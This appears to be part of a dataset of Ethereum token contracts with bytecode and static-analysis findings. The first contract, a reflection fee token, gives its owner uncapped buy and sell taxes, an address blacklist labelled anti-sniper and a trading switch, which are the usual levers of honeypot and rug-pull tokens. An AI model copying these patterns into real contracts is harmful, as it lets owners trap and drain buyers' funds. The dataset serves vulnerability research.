override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external onlyOwner {
_isSniper[sniper] = true;
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e14610673578063e0f9f6a0146106b9578063ea1644d5146106d9578063f2fde38b146106f9578063fe72c3c11461071957600080fd5b80639e78fb4f146105de5780639ec350ed146105f35780639f13157114610613578063a9059cbb14610633578063c55284901461065357600080fd5b8063881dce60116100f2578063881dce601461053b5780638da5cb5b1461055b5780638f70ccf7146105795780638f9a55c01461059957806395d89b41146105af57600080fd5b8063715018a6146104da57806374010ece146104ef578063790ca4131461050f5780637d1db4a51461052557600080fd5b806333251a0b116101b15780635d098b38116101755780635d098b381461044f5780636b9cf5341461046f5780636d8aa8f8146104855780636fc3eaec146104a557806370a08231146104ba57600080fd5b806333251a0b146103ad57806338eea22d146103cf5780633e3e9598146103ef57806349bd5a5e1461040f5780634bf2c7c91461042f57600080fd5b806318160ddd116101f857806318160ddd1461031f57806323b872dd1461034557806327c8f835146103655780632fd689e31461037b578063313ce5671461039157600080fd5b806306fdde0314610235578063095ea7b31461027e5780630f3a325f146102ae5780631694505e146102e757600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600e81526d536f6469756d2046696e616e636560901b60208201525b6040516102759190612023565b60405180910390f35b34801561028a57600080fd5b5061029e610299366004611f9a565b61072f565b6040519015158152602001610275565b3480156102ba57600080fd5b5061029e6102c9366004611ee6565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102f357600080fd5b50601954610307906001600160a01b031681565b6040516001600160a01b039091168152602001610275565b34801561032b57600080fd5b50683635c9adc5dea000005b604051908152602001610275565b34801561035157600080fd5b5061029e610360366004611f59565b610746565b34801561037157600080fd5b5061030761dead81565b34801561038757600080fd5b50610337601d5481565b34801561039d57600080fd5b5060405160098152602001610275565b3480156103b957600080fd5b506103cd6103c8366004611ee6565b6107af565b005b3480156103db57600080fd5b506103cd6103ea366004612001565b610827565b3480156103fb57600080fd5b506103cd61040a366004611ee6565b61085c565b34801561041b57600080fd5b50601a54610307906001600160a01b031681565b34801561043b57600080fd5b506103cd61044a366004611fe8565b6108aa565b34801561045b57600080fd5b506103cd61046a366004611ee6565b6108d9565b34801561047b57600080fd5b50610337601e5481565b34801561049157600080fd5b506103cd6104a0366004611fc6565b610933565b3480156104b157600080fd5b506103cd61097b565b3480156104c657600080fd5b506103376104d5366004611ee6565b6109a5565b3480156104e657600080fd5b506103cd6109c7565b3480156104fb57600080fd5b506103cd61050a366004611fe8565b610a3b565b34801561051b57600080fd5b50610337600a5481565b34801561053157600080fd5b50610337601b5481565b34801561054757600080fd5b506103cd610556366004611fe8565b610a6a565b34801561056757600080fd5b506000546001600160a01b0316610307565b34801561058557600080fd5b506103cd610594366004611fc6565b610ae6565b3480156105a557600080fd5b50610337601c5481565b3480156105bb57600080fd5b50604080518082019091526006815265534f4449554d60d01b6020820152610268565b3480156105ea57600080fd5b506103cd610b32565b3480156105ff57600080fd5b506103cd61060e366004612001565b610d17565b34801561061f57600080fd5b506103cd61062e366004611fc6565b610d4c565b34801561063f57600080fd5b5061029e61064e366004611f9a565b610d94565b34801561065f57600080fd5b506103cd61066e366004612001565b610da1565b34801561067f57600080fd5b5061033761068e366004611f20565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106c557600080fd5b506103cd6106d4366004611fe8565b610dd6565b3480156106e557600080fd5b506103cd6106f4366004611fe8565b610e12565b34801561070557600080fd5b506103cd610714366004611ee6565b610e50565b34801561072557600080fd5b5061033760185481565b600061073c338484610f3a565b5060015b92915050565b600061075384848461105e565b6107a584336107a0856040518060600160405280602881526020016121f7602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611785565b610f3a565b5060019392505050565b6000546001600160a01b031633146107e25760405162461bcd60e51b81526004016107d990612078565b60405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff1615610824576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108515760405162461bcd60e51b81526004016107d990612078565b600d91909155600f55565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016107d990612078565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108d45760405162461bcd60e51b81526004016107d990612078565b601355565b6017546001600160a01b0316336001600160a01b0316146108f957600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461095d5760405162461bcd60e51b81526004016107d990612078565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b03161461099b57600080fd5b47610824816117bf565b6001600160a01b038116600090815260026020526040812054610740906117fd565b6000546001600160a01b031633146109f15760405162461bcd60e51b81526004016107d990612078565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a655760405162461bcd60e51b81526004016107d990612078565b601b55565b6017546001600160a01b0316336001600160a01b031614610a8a57600080fd5b610a93306109a5565b8111158015610aa25750600081115b610add5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107d9565b61082481611881565b6000546001600160a01b03163314610b105760405162461bcd60e51b81526004016107d990612078565b601a8054911515600160a01b0260ff60a01b1990921691909117905542600a55565b6000546001600160a01b03163314610b5c5760405162461bcd60e51b81526004016107d990612078565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610bbc57600080fd5b505afa158015610bd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf49190611f03565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3c57600080fd5b505afa158015610c50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c749190611f03565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610cbc57600080fd5b505af1158015610cd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf49190611f03565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610d415760405162461bcd60e51b81526004016107d990612078565b600b91909155600c55565b6000546001600160a01b03163314610d765760405162461bcd60e51b81526004016107d990612078565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061073c33848461105e565b6000546001600160a01b03163314610dcb5760405162461bcd60e51b81526004016107d990612078565b600e91909155601055565b6000546001600160a01b03163314610e005760405162461bcd60e51b81526004016107d990612078565b610e0c81610e1061217f565b60185550565b6000546001600160a01b03163314610e3c5760405162461bcd60e51b81526004016107d990612078565b601c54811015610e4b57600080fd5b601c55565b6000546001600160a01b03163314610e7a5760405162461bcd60e51b81526004016107d990612078565b6001600160a01b038116610edf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107d9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f9c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107d9565b6001600160a01b038216610ffd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107d9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110c25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107d9565b6001600160a01b0382166111245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107d9565b600081116111865760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107d9565b6001600160a01b03821660009081526009602052604090205460ff16156111bf5760405162461bcd60e51b81526004016107d9906120ad565b6001600160a01b03831660009081526009602052604090205460ff16156111f85760405162461bcd60e51b81526004016107d9906120ad565b3360009081526009602052604090205460ff16156112285760405162461bcd60e51b81526004016107d9906120ad565b6000546001600160a01b0384811691161480159061125457506000546001600160a01b03838116911614155b156115cd57601a54600160a01b900460ff166112b25760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107d9565b601a546001600160a01b0383811691161480156112dd57506019546001600160a01b03848116911614155b1561138f576001600160a01b038216301480159061130457506001600160a01b0383163014155b801561131e57506017546001600160a01b03838116911614155b801561133857506017546001600160a01b03848116911614155b1561138f57601b5481111561138f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107d9565b601a546001600160a01b038381169116148015906113bb57506017546001600160a01b03838116911614155b80156113d057506001600160a01b0382163014155b80156113e757506001600160a01b03821661dead14155b156114c757601c54816113f9846109a5565b6114039190612145565b1061145c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107d9565b601a54600160b81b900460ff16156114c757600a5461147d906104b0612145565b42116114c757601e548111156114c75760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107d9565b60006114d2306109a5565b601d5490915081118080156114f15750601a54600160a81b900460ff16155b801561150b5750601a546001600160a01b03868116911614155b80156115205750601a54600160b01b900460ff165b801561154557506001600160a01b03851660009081526006602052604090205460ff16155b801561156a57506001600160a01b03841660009081526006602052604090205460ff16155b156115ca57601354600090156115a55761159a606461159460135486611a0a90919063ffffffff16565b90611a89565b90506115a581611acb565b6115b76115b2828561219e565b611881565b4780156115c7576115c7476117bf565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061160f57506001600160a01b03831660009081526006602052604090205460ff165b806116415750601a546001600160a01b038581169116148015906116415750601a546001600160a01b03848116911614155b1561164e57506000611773565b601a546001600160a01b03858116911614801561167957506019546001600160a01b03848116911614155b156116d4576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156116d4576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156116ff57506019546001600160a01b03858116911614155b15611773576001600160a01b0384166000908152600460205260409020541580159061175057506018546001600160a01b038516600090815260046020526040902054429161174d91612145565b10155b1561176657600b54601155600c54601255611773565b600f546011556010546012555b61177f84848484611ad8565b50505050565b600081848411156117a95760405162461bcd60e51b81526004016107d99190612023565b5060006117b6848661219e565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156117f9573d6000803e3d6000fd5b5050565b60006007548211156118645760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107d9565b600061186e611b0c565b905061187a8382611a89565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118c9576118c96121cb565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561191d57600080fd5b505afa158015611931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119559190611f03565b81600181518110611968576119686121cb565b6001600160a01b03928316602091820292909201015260195461198e9130911684610f3a565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906119c79085906000908690309042906004016120d4565b600060405180830381600087803b1580156119e157600080fd5b505af11580156119f5573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611a1957506000610740565b6000611a25838561217f565b905082611a32858361215d565b1461187a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107d9565b600061187a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b2f565b6108243061dead8361105e565b80611ae557611ae5611b5d565b611af0848484611ba2565b8061177f5761177f601454601155601554601255601654601355565b6000806000611b19611c99565b9092509050611b288282611a89565b9250505090565b60008183611b505760405162461bcd60e51b81526004016107d99190612023565b5060006117b6848661215d565b601154158015611b6d5750601254155b8015611b795750601354155b15611b8057565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611bb487611cdb565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611be69087611d38565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c159086611d7a565b6001600160a01b038916600090815260026020526040902055611c3781611dd9565b611c418483611e23565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c8691815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611cb58282611a89565b821015611cd257505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611cf88a601154601254611e47565b9250925092506000611d08611b0c565b90506000806000611d1b8e878787611e96565b919e509c509a509598509396509194505050505091939550919395565b600061187a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611785565b600080611d878385612145565b90508381101561187a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107d9565b6000611de3611b0c565b90506000611df18383611a0a565b30600090815260026020526040902054909150611e0e9082611d7a565b30600090815260026020526040902055505050565b600754611e309083611d38565b600755600854611e409082611d7a565b6008555050565b6000808080611e5b60646115948989611a0a565b90506000611e6e60646115948a89611a0a565b90506000611e8682611e808b86611d38565b90611d38565b9992985090965090945050505050565b6000808080611ea58886611a0a565b90506000611eb38887611a0a565b90506000611ec18888611a0a565b90506000611ed382611e808686611d38565b939b939a50919850919650505050505050565b600060208284031215611ef857600080fd5b813561187a816121e1565b600060208284031215611f1557600080fd5b815161187a816121e1565b60008060408385031215611f3357600080fd5b8235611f3e816121e1565b91506020830135611f4e816121e1565b809150509250929050565b600080600060608486031215611f6e57600080fd5b8335611f79816121e1565b92506020840135611f89816121e1565b929592945050506040919091013590565b60008060408385031215611fad57600080fd5b8235611fb8816121e1565b946020939093013593505050565b600060208284031215611fd857600080fd5b8135801515811461187a57600080fd5b600060208284031215611ffa57600080fd5b5035919050565b6000806040838503121561201457600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561205057858101830151858201604001528201612034565b81811115612062576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121245784516001600160a01b0316835293830193918301916001016120ff565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612158576121586121b5565b500190565b60008261217a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615612199576121996121b5565b500290565b6000828210156121b0576121b06121b5565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461082457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122065601b33a33b5ece5456f9b904ce21fa74c4ea849bfe2aec0ce302d715df51d364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,156 |
0xea26c4ac16d4a5a106820bc8aee85fd0b7b2b664
|
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
